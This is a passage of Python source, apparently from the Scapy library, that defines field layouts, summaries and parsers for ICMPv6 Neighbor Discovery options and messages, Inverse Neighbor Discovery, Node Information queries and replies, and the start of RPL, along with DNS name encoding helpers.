1926# See which value should be used for default MTU instead of 1280
1929class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):
1930 name = "ICMPv6 Neighbor Discovery Option - MTU"
1931 fields_desc = [ByteField("type", 5),
1932 ByteField("len", 1),
1933 XShortField("res", 0),
1934 IntField("mtu", 1280)]
1936 def mysummary(self):
1937 return self.sprintf("%name% %mtu%")
1940class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491
1941 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit"
1942 fields_desc = [ByteField("type", 6),
1943 ByteField("len", 1),
1944 ByteField("shortcutlim", 40), # XXX
1945 ByteField("res1", 0),
1946 IntField("res2", 0)]
1949class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):
1950 name = "ICMPv6 Neighbor Discovery - Interval Advertisement"
1951 fields_desc = [ByteField("type", 7),
1952 ByteField("len", 1),
1953 ShortField("res", 0),
1954 IntField("advint", 0)]
1956 def mysummary(self):
1957 return self.sprintf("%name% %advint% milliseconds")
1960class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):
1961 name = "ICMPv6 Neighbor Discovery - Home Agent Information"
1962 fields_desc = [ByteField("type", 8),
1963 ByteField("len", 1),
1964 ShortField("res", 0),
1965 ShortField("pref", 0),
1966 ShortField("lifetime", 1)]
1968 def mysummary(self):
1969 return self.sprintf("%name% %pref% %lifetime% seconds")
1971# type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support
1973# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support
1976class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1977 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)"
1978 fields_desc = [ByteField("type", 17),
1979 ByteField("len", 3),
1980 ByteEnumField("optcode", 1, {1: "Old Care-Of Address",
1981 2: "New Care-Of Address",
1982 3: "NAR's IP address"}),
1983 ByteField("plen", 64),
1984 IntField("res", 0),
1985 IP6Field("addr", "::")]
1988class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068
1989 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501
1990 fields_desc = [ByteField("type", 18),
1991 ByteField("len", 3),
1992 ByteField("optcode", 0),
1993 ByteField("plen", 64),
1994 IntField("res", 0),
1995 IP6Field("prefix", "::")]
1998_rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP",
1999 1: "LLA for the new AP",
2000 2: "LLA of the MN",
2001 3: "LLA of the NAR",
2002 4: "LLA of the src of TrSolPr or PrRtAdv msg",
2003 5: "AP identified by LLA belongs to current iface of router", # noqa: E501
2004 6: "No preifx info available for AP identified by the LLA", # noqa: E501
2005 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501
2008class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068
2009 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501
2010 fields_desc = [ByteField("type", 19),
2011 ByteField("len", 1),
2012 ByteEnumField("optcode", 0, _rfc4068_lla_optcode),
2013 MACField("lla", ETHER_ANY)] # We only support ethernet
2016class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140
2017 name = "ICMPv6 Neighbor Discovery - MAP Option"
2018 fields_desc = [ByteField("type", 23),
2019 ByteField("len", 3),
2020 BitField("dist", 1, 4),
2021 BitField("pref", 15, 4), # highest availability
2022 BitField("R", 1, 1),
2023 BitField("res", 0, 7),
2024 IntField("validlifetime", 0xffffffff),
2025 IP6Field("addr", "::")]
2028class _IP6PrefixField(IP6Field):
2029 __slots__ = ["length_from"]
2031 def __init__(self, name, default):
2032 IP6Field.__init__(self, name, default)
2033 self.length_from = lambda pkt: 8 * (pkt.len - 1)
2035 def addfield(self, pkt, s, val):
2036 return s + self.i2m(pkt, val)
2038 def getfield(self, pkt, s):
2039 tmp_len = self.length_from(pkt)
2040 p = s[:tmp_len]
2041 if tmp_len < 16:
2042 p += b'\x00' * (16 - tmp_len)
2043 return s[tmp_len:], self.m2i(pkt, p)
2045 def i2len(self, pkt, x):
2046 return len(self.i2m(pkt, x))
2048 def i2m(self, pkt, x):
2049 tmp_len = pkt.len
2051 if x is None:
2052 x = "::"
2053 if tmp_len is None:
2054 tmp_len = 1
2055 x = inet_pton(socket.AF_INET6, x)
2057 if tmp_len is None:
2058 return x
2059 if tmp_len in [0, 1]:
2060 return b""
2061 if tmp_len in [2, 3]:
2062 return x[:8 * (tmp_len - 1)]
2064 return x + b'\x00' * 8 * (tmp_len - 3)
2067class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191
2068 name = "ICMPv6 Neighbor Discovery Option - Route Information Option"
2069 fields_desc = [ByteField("type", 24),
2070 FieldLenField("len", None, length_of="prefix", fmt="B",
2071 adjust=lambda pkt, x: x // 8 + 1),
2072 ByteField("plen", None),
2073 BitField("res1", 0, 3),
2074 BitEnumField("prf", 0, 2, icmp6ndraprefs),
2075 BitField("res2", 0, 3),
2076 IntField("rtlifetime", 0xffffffff),
2077 _IP6PrefixField("prefix", None)]
2079 def mysummary(self):
2080 return self.sprintf("%name% %prefix%/%plen% Preference %prf%")
2083class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006
2084 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option"
2085 fields_desc = [ByteField("type", 25),
2086 FieldLenField("len", None, count_of="dns", fmt="B",
2087 adjust=lambda pkt, x: 2 * x + 1),
2088 ShortField("res", None),
2089 IntField("lifetime", 0xffffffff),
2090 IP6ListField("dns", [],
2091 length_from=lambda pkt: 8 * (pkt.len - 1))]
2093 def mysummary(self):
2094 return self.sprintf("%name% ") + ", ".join(self.dns)
2097class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075)
2098 name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option"
2099 fields_desc = [ByteField("type", 26),
2100 ByteField("len", 1),
2101 BitField("res", 0, 48)]
2103# As required in Sect 8. of RFC 3315, Domain Names must be encoded as
2104# described in section 3.1 of RFC 1035
2105# XXX Label should be at most 63 octets in length : we do not enforce it
2106# Total length of domain should be 255 : we do not enforce it either
2109class DomainNameListField(StrLenField):
2110 __slots__ = ["padded"]
2111 islist = 1
2112 padded_unit = 8
2114 def __init__(self, name, default, length_from=None, padded=False): # noqa: E501
2115 self.padded = padded
2116 StrLenField.__init__(self, name, default, length_from=length_from)
2118 def i2len(self, pkt, x):
2119 return len(self.i2m(pkt, x))
2121 def i2h(self, pkt, x):
2122 if not x:
2123 return []
2124 return x
2126 def m2i(self, pkt, x):
2127 x = plain_str(x) # Decode bytes to string
2128 res = []
2129 while x:
2130 # Get a name until \x00 is reached
2131 cur = []
2132 while x and ord(x[0]) != 0:
2133 tmp_len = ord(x[0])
2134 cur.append(x[1:tmp_len + 1])
2135 x = x[tmp_len + 1:]
2136 if self.padded:
2137 # Discard following \x00 in padded mode
2138 if len(cur):
2139 res.append(".".join(cur) + ".")
2140 else:
2141 # Store the current name
2142 res.append(".".join(cur) + ".")
2143 if x and ord(x[0]) == 0:
2144 x = x[1:]
2145 return res
2147 def i2m(self, pkt, x):
2148 def conditionalTrailingDot(z):
2149 if z and z[-1] == 0:
2150 return z
2151 return z + b'\x00'
2152 # Build the encode names
2153 tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501
2154 ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp)
2156 # In padded mode, add some \x00 bytes
2157 if self.padded and not len(ret_string) % self.padded_unit == 0:
2158 ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501
2160 return ret_string
2163class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106
2164 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option"
2165 fields_desc = [ByteField("type", 31),
2166 FieldLenField("len", None, length_of="searchlist", fmt="B",
2167 adjust=lambda pkt, x: 1 + x // 8),
2168 ShortField("res", None),
2169 IntField("lifetime", 0xffffffff),
2170 DomainNameListField("searchlist", [],
2171 length_from=lambda pkt: 8 * pkt.len - 8,
2172 padded=True)
2173 ]
2175 def mysummary(self):
2176 return self.sprintf("%name% ") + ", ".join(self.searchlist)
2179class ICMPv6NDOptCaptivePortal(_ICMPv6NDGuessPayload, Packet): # RFC 8910
2180 name = "ICMPv6 Neighbor Discovery Option - Captive-Portal Option"
2181 fields_desc = [ByteField("type", 37),
2182 FieldLenField("len", None, length_of="URI", fmt="B",
2183 adjust=lambda pkt, x: (2 + x) // 8),
2184 ICMPv6NDOptDataField("URI", "", strip_zeros=True,
2185 length_from=lambda pkt:
2186 8 * max(pkt.len, 1) - 2)]
2188 def mysummary(self):
2189 return self.sprintf("%name% %URI%")
2192class _PREF64(IP6Field):
2193 def addfield(self, pkt, s, val):
2194 return s + self.i2m(pkt, val)[:12]
2196 def getfield(self, pkt, s):
2197 return s[12:], self.m2i(pkt, s[:12] + b"\x00" * 4)
2200class ICMPv6NDOptPREF64(_ICMPv6NDGuessPayload, Packet): # RFC 8781
2201 name = "ICMPv6 Neighbor Discovery Option - PREF64 Option"
2202 fields_desc = [ByteField("type", 38),
2203 ByteField("len", 2),
2204 BitField("scaledlifetime", 0, 13),
2205 BitEnumField("plc", 0, 3,
2206 ["/96", "/64", "/56", "/48", "/40", "/32"]),
2207 _PREF64("prefix", "::")]
2209 def mysummary(self):
2210 plc = self.sprintf("%plc%") if self.plc < 6 else f"[invalid PLC({self.plc})]"
2211 return self.sprintf("%name% %prefix%") + plc
2213# End of ICMPv6 Neighbor Discovery Options.
2216class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):
2217 name = "ICMPv6 Neighbor Discovery - Router Solicitation"
2218 fields_desc = [ByteEnumField("type", 133, icmp6types),
2219 ByteField("code", 0),
2220 XShortField("cksum", None),
2221 IntField("res", 0)]
2222 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}}
2225class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):
2226 name = "ICMPv6 Neighbor Discovery - Router Advertisement"
2227 fields_desc = [ByteEnumField("type", 134, icmp6types),
2228 ByteField("code", 0),
2229 XShortField("cksum", None),
2230 ByteField("chlim", 0),
2231 BitField("M", 0, 1),
2232 BitField("O", 0, 1),
2233 BitField("H", 0, 1),
2234 BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191
2235 BitField("P", 0, 1),
2236 BitField("res", 0, 2),
2237 ShortField("routerlifetime", 1800),
2238 IntField("reachabletime", 0),
2239 IntField("retranstimer", 0)]
2240 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2242 def answers(self, other):
2243 return isinstance(other, ICMPv6ND_RS)
2245 def mysummary(self):
2246 return self.sprintf("%name% Lifetime %routerlifetime% "
2247 "Hop Limit %chlim% Preference %prf% "
2248 "Managed %M% Other %O% Home %H%")
2251class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2252 name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation"
2253 fields_desc = [ByteEnumField("type", 135, icmp6types),
2254 ByteField("code", 0),
2255 XShortField("cksum", None),
2256 IntField("res", 0),
2257 IP6Field("tgt", "::")]
2258 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2260 def mysummary(self):
2261 return self.sprintf("%name% (tgt: %tgt%)")
2263 def hashret(self):
2264 return bytes_encode(self.tgt) + self.payload.hashret()
2267class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2268 name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement"
2269 fields_desc = [ByteEnumField("type", 136, icmp6types),
2270 ByteField("code", 0),
2271 XShortField("cksum", None),
2272 BitField("R", 1, 1),
2273 BitField("S", 0, 1),
2274 BitField("O", 1, 1),
2275 XBitField("res", 0, 29),
2276 IP6Field("tgt", "::")]
2277 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2279 def mysummary(self):
2280 return self.sprintf("%name% (tgt: %tgt%)")
2282 def hashret(self):
2283 return bytes_encode(self.tgt) + self.payload.hashret()
2285 def answers(self, other):
2286 return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt
2288# associated possible options : target link-layer option, Redirected header
2291class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):
2292 name = "ICMPv6 Neighbor Discovery - Redirect"
2293 fields_desc = [ByteEnumField("type", 137, icmp6types),
2294 ByteField("code", 0),
2295 XShortField("cksum", None),
2296 XIntField("res", 0),
2297 IP6Field("tgt", "::"),
2298 IP6Field("dst", "::")]
2299 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2302# ICMPv6 Inverse Neighbor Discovery (RFC 3122) #
2304class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):
2305 name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List"
2306 fields_desc = [ByteField("type", 9),
2307 FieldLenField("len", None, count_of="addrlist", fmt="B",
2308 adjust=lambda pkt, x: 2 * x + 1),
2309 StrFixedLenField("res", b"\x00" * 6, 6),
2310 IP6ListField("addrlist", [],
2311 length_from=lambda pkt: 8 * (pkt.len - 1))]
2314class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):
2315 name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List"
2316 type = 10
2319# RFC3122
2320# Options requises : source lladdr et target lladdr
2321# Autres options valides : source address list, MTU
2322# - Comme precise dans le document, il serait bien de prendre l'adresse L2
2323# demandee dans l'option requise target lladdr et l'utiliser au niveau
2324# de l'adresse destination ethernet si aucune adresse n'est precisee
2325# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes
2326# les options.
2327# Ether() must use the target lladdr as destination
2328class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):
2329 name = "ICMPv6 Inverse Neighbor Discovery Solicitation"
2330 fields_desc = [ByteEnumField("type", 141, icmp6types),
2331 ByteField("code", 0),
2332 XShortField("cksum", None),
2333 XIntField("reserved", 0)]
2334 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2336# Options requises : target lladdr, target address list
2337# Autres options valides : MTU
2340class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2341 name = "ICMPv6 Inverse Neighbor Discovery Advertisement"
2342 fields_desc = [ByteEnumField("type", 142, icmp6types),
2343 ByteField("code", 0),
2344 XShortField("cksum", None),
2345 XIntField("reserved", 0)]
2346 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}}
2349###############################################################################
2350# ICMPv6 Node Information Queries (RFC 4620)
2351###############################################################################
2353# [ ] Add automatic destination address computation using computeNIGroupAddr
2354# in IPv6 class (Scapy6 modification when integrated) if :
2355# - it is not provided
2356# - upper layer is ICMPv6NIQueryName() with a valid value
2357# [ ] Try to be liberal in what we accept as internal values for _explicit_
2358# DNS elements provided by users. Any string should be considered
2359# valid and kept like it has been provided. At the moment, i2repr() will
2360# crash on many inputs
2361# [ ] Do the documentation
2362# [ ] Add regression tests
2363# [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501
2364# [ ] Check if there are differences between different stacks. Among *BSD,
2365# with others.
2366# [ ] Deal with flags in a consistent way.
2367# [ ] Implement compression in names2dnsrepr() and decompresiion in
2368# dnsrepr2names(). Should be deactivable.
2370icmp6_niqtypes = {0: "NOOP",
2371 2: "Node Name",
2372 3: "IPv6 Address",
2373 4: "IPv4 Address"}
2376class _ICMPv6NIHashret:
2377 def hashret(self):
2378 return bytes_encode(self.nonce)
2381class _ICMPv6NIAnswers:
2382 def answers(self, other):
2383 return self.nonce == other.nonce
2385# Buggy; always returns the same value during a session
2388class NonceField(StrFixedLenField):
2389 def __init__(self, name, default=None):
2390 StrFixedLenField.__init__(self, name, default, 8)
2391 if default is None:
2392 self.default = self.randval()
2395@conf.commands.register
2396def computeNIGroupAddr(name):
2397 """Compute the NI group Address. Can take a FQDN as input parameter"""
2398 name = name.lower().split(".")[0]
2399 record = chr(len(name)) + name
2400 h = md5(record.encode("utf8"))
2401 h = h.digest()
2402 addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2403 return addr
2406# Here is the deal. First, that protocol is a piece of shit. Then, we
2407# provide 4 classes for the different kinds of Requests (one for every
2408# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
2409# data field class that is made to be smart by guessing the specific
2410# type of value provided :
2411#
2412# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
2413# if not overridden by user
2414# - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2,
2415# if not overridden
2416# - Name in the other cases: code is set to 0, if not overridden by user
2417#
2418# Internal storage, is not only the value, but the a pair providing
2419# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2420#
2421# Note : I merged getfield() and m2i(). m2i() should not be called
2422# directly anyway. Same remark for addfield() and i2m()
2423#
2424# -- arno
2426# "The type of information present in the Data field of a query is
2427# declared by the ICMP Code, whereas the type of information in a
2428# Reply is determined by the Qtype"
2430def names2dnsrepr(x):
2431 """
2432 Take as input a list of DNS names or a single DNS name
2433 and encode it in DNS format (with possible compression)
2434 If a string that is already a DNS name in DNS format
2435 is passed, it is returned unmodified. Result is a string.
2436 !!! At the moment, compression is not implemented !!!
2437 """
2439 if isinstance(x, bytes):
2440 if x and x[-1:] == b'\x00': # stupid heuristic
2441 return x
2442 x = [x]
2444 res = []
2445 for n in x:
2446 termin = b"\x00"
2447 if n.count(b'.') == 0: # single-component gets one more
2448 termin += b'\x00'
2449 n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin
2450 res.append(n)
2451 return b"".join(res)
2454def dnsrepr2names(x):
2455 """
2456 Take as input a DNS encoded string (possibly compressed)
2457 and returns a list of DNS names contained in it.
2458 If provided string is already in printable format
2459 (does not end with a null character, a one element list
2460 is returned). Result is a list.
2461 """
2462 res = []
2463 cur = b""
2464 while x:
2465 tmp_len = x[0]
2466 x = x[1:]
2467 if not tmp_len:
2468 if cur and cur[-1:] == b'.':
2469 cur = cur[:-1]
2470 res.append(cur)
2471 cur = b""
2472 if x and x[0] == 0: # single component
2473 x = x[1:]
2474 continue
2475 if tmp_len & 0xc0: # XXX TODO : work on that -- arno
2476 raise Exception("DNS message can't be compressed at this point!")
2477 cur += x[:tmp_len] + b"."
2478 x = x[tmp_len:]
2479 return res
2482class NIQueryDataField(StrField):
2483 def __init__(self, name, default):
2484 StrField.__init__(self, name, default)
2486 def i2h(self, pkt, x):
2487 if x is None:
2488 return x
2489 t, val = x
2490 if t == 1:
2491 val = dnsrepr2names(val)[0]
2492 return val
2494 def h2i(self, pkt, x):
2495 if x is tuple and isinstance(x[0], int):
2496 return x
2498 # Try IPv6
2499 try:
2500 inet_pton(socket.AF_INET6, x.decode())
2501 return (0, x.decode())
2502 except Exception:
2503 pass
2504 # Try IPv4
2505 try:
2506 inet_pton(socket.AF_INET, x.decode())
2507 return (2, x.decode())
2508 except Exception:
2509 pass
2510 # Try DNS
2511 if x is None:
2512 x = b""
2513 x = names2dnsrepr(x)
2514 return (1, x)
2516 def i2repr(self, pkt, x):
2517 t, val = x
2518 if t == 1: # DNS Name
2519 # we don't use dnsrepr2names() to deal with
2520 # possible weird data extracted info
2521 res = []
2522 while val:
2523 tmp_len = val[0]
2524 val = val[1:]
2525 if tmp_len == 0:
2526 break
2527 res.append(plain_str(val[:tmp_len]) + ".")
2528 val = val[tmp_len:]
2529 tmp = "".join(res)
2530 if tmp and tmp[-1] == '.':
2531 tmp = tmp[:-1]
2532 return tmp
2533 return repr(val)
2535 def getfield(self, pkt, s):
2536 qtype = getattr(pkt, "qtype")
2537 if qtype == 0: # NOOP
2538 return s, (0, b"")
2539 else:
2540 code = getattr(pkt, "code")
2541 if code == 0: # IPv6 Addr
2542 return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2543 elif code == 2: # IPv4 Addr
2544 return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2545 else: # Name or Unknown
2546 return b"", (1, s)
2548 def addfield(self, pkt, s, val):
2549 if ((isinstance(val, tuple) and val[1] is None) or
2550 val is None):
2551 val = (1, b"")
2552 t = val[0]
2553 if t == 1:
2554 return s + val[1]
2555 elif t == 0:
2556 return s + inet_pton(socket.AF_INET6, val[1])
2557 else:
2558 return s + inet_pton(socket.AF_INET, val[1])
2561class NIQueryCodeField(ByteEnumField):
2562 def i2m(self, pkt, x):
2563 if x is None:
2564 d = pkt.getfieldval("data")
2565 if d is None:
2566 return 1
2567 elif d[0] == 0: # IPv6 address
2568 return 0
2569 elif d[0] == 1: # Name
2570 return 1
2571 elif d[0] == 2: # IPv4 address
2572 return 2
2573 else:
2574 return 1
2575 return x
2578_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2580# _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses",
2581# 8: "Link-local addresses", 16: "Site-local addresses",
2582# 32: "Global addresses" }
2584# "This NI type has no defined flags and never has a Data Field". Used
2585# to know if the destination is up and implements NI protocol.
2588class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2589 name = "ICMPv6 Node Information Query - NOOP Query"
2590 fields_desc = [ByteEnumField("type", 139, icmp6types),
2591 NIQueryCodeField("code", None, _niquery_code),
2592 XShortField("cksum", None),
2593 ShortEnumField("qtype", 0, icmp6_niqtypes),
2594 BitField("unused", 0, 10),
2595 FlagsField("flags", 0, 6, "TACLSG"),
2596 NonceField("nonce", None),
2597 NIQueryDataField("data", None)]
2600class ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2601 name = "ICMPv6 Node Information Query - IPv6 Name Query"
2602 qtype = 2
2604# We ask for the IPv6 address of the peer
2607class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2608 name = "ICMPv6 Node Information Query - IPv6 Address Query"
2609 qtype = 3
2610 flags = 0x3E
2613class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2614 name = "ICMPv6 Node Information Query - IPv4 Address Query"
2615 qtype = 4
2618_nireply_code = {0: "Successful Reply",
2619 1: "Response Refusal",
2620 3: "Unknown query type"}
2622_nireply_flags = {1: "Reply set incomplete",
2623 2: "All unicast addresses",
2624 4: "IPv4 addresses",
2625 8: "Link-local addresses",
2626 16: "Site-local addresses",
2627 32: "Global addresses"}
2629# Internal repr is one of those :
2630# (0, "some string") : unknown qtype value are mapped to that one
2631# (3, [ (ttl, ip6), ... ])
2632# (4, [ (ttl, ip4), ... ])
2633# (2, [ttl, dns_names]) : dns_names is one string that contains
2634# all the DNS names. Internally it is kept ready to be sent
2635# (undissected). i2repr() decode it for user. This is to
2636# make build after dissection bijective.
2637#
2638# I also merged getfield() and m2i(), and addfield() and i2m().
2641class NIReplyDataField(StrField):
2643 def i2h(self, pkt, x):
2644 if x is None:
2645 return x
2646 t, val = x
2647 if t == 2:
2648 ttl, dnsnames = val
2649 val = [ttl] + dnsrepr2names(dnsnames)
2650 return val
2652 def h2i(self, pkt, x):
2653 qtype = 0 # We will decode it as string if not
2654 # overridden through 'qtype' in pkt
2656 # No user hint, let's use 'qtype' value for that purpose
2657 if not isinstance(x, tuple):
2658 if pkt is not None:
2659 qtype = pkt.qtype
2660 else:
2661 qtype = x[0]
2662 x = x[1]
2664 # From that point on, x is the value (second element of the tuple)
2666 if qtype == 2: # DNS name
2667 if isinstance(x, (str, bytes)): # listify the string
2668 x = [x]
2669 if isinstance(x, list):
2670 x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501
2671 if x and isinstance(x[0], int):
2672 ttl = x[0]
2673 names = x[1:]
2674 else:
2675 ttl = 0
2676 names = x
2677 return (2, [ttl, names2dnsrepr(names)])
2679 elif qtype in [3, 4]: # IPv4 or IPv6 addr
2680 if not isinstance(x, list):
2681 x = [x] # User directly provided an IP, instead of list
2683 def fixvalue(x):
2684 # List elements are not tuples, user probably
2685 # omitted ttl value : we will use 0 instead
2686 if not isinstance(x, tuple):
2687 x = (0, x)
2688 # Decode bytes
2689 if isinstance(x[1], bytes):
2690 x = (x[0], x[1].decode())
2691 return x
2693 return (qtype, [fixvalue(d) for d in x])
2695 return (qtype, x)
2697 def addfield(self, pkt, s, val):
2698 t, tmp = val
2699 if tmp is None:
2700 tmp = b""
2701 if t == 2:
2702 ttl, dnsstr = tmp
2703 return s + struct.pack("!I", ttl) + dnsstr
2704 elif t == 3:
2705 return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501
2706 elif t == 4:
2707 return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501
2708 else:
2709 return s + tmp
2711 def getfield(self, pkt, s):
2712 code = getattr(pkt, "code")
2713 if code != 0:
2714 return s, (0, b"")
2716 qtype = getattr(pkt, "qtype")
2717 if qtype == 0: # NOOP
2718 return s, (0, b"")
2720 elif qtype == 2:
2721 if len(s) < 4:
2722 return s, (0, b"")
2723 ttl = struct.unpack("!I", s[:4])[0]
2724 return b"", (2, [ttl, s[4:]])
2726 elif qtype == 3: # IPv6 addresses with TTLs
2727 # XXX TODO : get the real length
2728 res = []
2729 while len(s) >= 20: # 4 + 16
2730 ttl = struct.unpack("!I", s[:4])[0]
2731 ip = inet_ntop(socket.AF_INET6, s[4:20])
2732 res.append((ttl, ip))
2733 s = s[20:]
2734 return s, (3, res)
2736 elif qtype == 4: # IPv4 addresses with TTLs
2737 # XXX TODO : get the real length
2738 res = []
2739 while len(s) >= 8: # 4 + 4
2740 ttl = struct.unpack("!I", s[:4])[0]
2741 ip = inet_ntop(socket.AF_INET, s[4:8])
2742 res.append((ttl, ip))
2743 s = s[8:]
2744 return s, (4, res)
2745 else:
2746 # XXX TODO : implement me and deal with real length
2747 return b"", (0, s)
2749 def i2repr(self, pkt, x):
2750 if x is None:
2751 return "[]"
2753 if isinstance(x, tuple) and len(x) == 2:
2754 t, val = x
2755 if t == 2: # DNS names
2756 ttl, tmp_len = val
2757 tmp_len = dnsrepr2names(tmp_len)
2758 names_list = (plain_str(name) for name in tmp_len)
2759 return "ttl:%d %s" % (ttl, ",".join(names_list))
2760 elif t == 3 or t == 4:
2761 return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501
2762 return repr(val)
2763 return repr(x) # XXX should not happen
2765# By default, sent responses have code set to 0 (successful)
2768class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2769 name = "ICMPv6 Node Information Reply - NOOP Reply"
2770 fields_desc = [ByteEnumField("type", 140, icmp6types),
2771 ByteEnumField("code", 0, _nireply_code),
2772 XShortField("cksum", None),
2773 ShortEnumField("qtype", 0, icmp6_niqtypes),
2774 BitField("unused", 0, 10),
2775 FlagsField("flags", 0, 6, "TACLSG"),
2776 NonceField("nonce", None),
2777 NIReplyDataField("data", None)]
2780class ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2781 name = "ICMPv6 Node Information Reply - Node Names"
2782 qtype = 2
2785class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2786 name = "ICMPv6 Node Information Reply - IPv6 addresses"
2787 qtype = 3
2790class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2791 name = "ICMPv6 Node Information Reply - IPv4 addresses"
2792 qtype = 4
2795class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2796 name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2797 code = 1
2800class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2801 name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2802 code = 2
2805def _niquery_guesser(p):
2806 cls = conf.raw_layer
2807 type = p[0]
2808 if type == 139: # Node Info Query specific stuff
2809 if len(p) > 6:
2810 qtype, = struct.unpack("!H", p[4:6])
2811 cls = {0: ICMPv6NIQueryNOOP,
2812 2: ICMPv6NIQueryName,
2813 3: ICMPv6NIQueryIPv6,
2814 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer)
2815 elif type == 140: # Node Info Reply specific stuff
2816 code = p[1]
2817 if code == 0:
2818 if len(p) > 6:
2819 qtype, = struct.unpack("!H", p[4:6])
2820 cls = {2: ICMPv6NIReplyName,
2821 3: ICMPv6NIReplyIPv6,
2822 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP)
2823 elif code == 1:
2824 cls = ICMPv6NIReplyRefuse
2825 elif code == 2:
2826 cls = ICMPv6NIReplyUnknown
2827 return cls
2830#############################################################################
2831#############################################################################
2832# Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550) #
2833#############################################################################
2834#############################################################################
2836# https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes
2837rplcodes = {0: "DIS",
2838 1: "DIO",
2839 2: "DAO",
2840 3: "DAO-ACK",
2841 # 4: "P2P-DRO",
2842 # 5: "P2P-DRO-ACK",
2843 # 6: "Measurement",
2844 7: "DCO",
2845 8: "DCO-ACK"}
2848class ICMPv6RPL(_ICMPv6): # RFC 6550
2849 name = 'RPL'
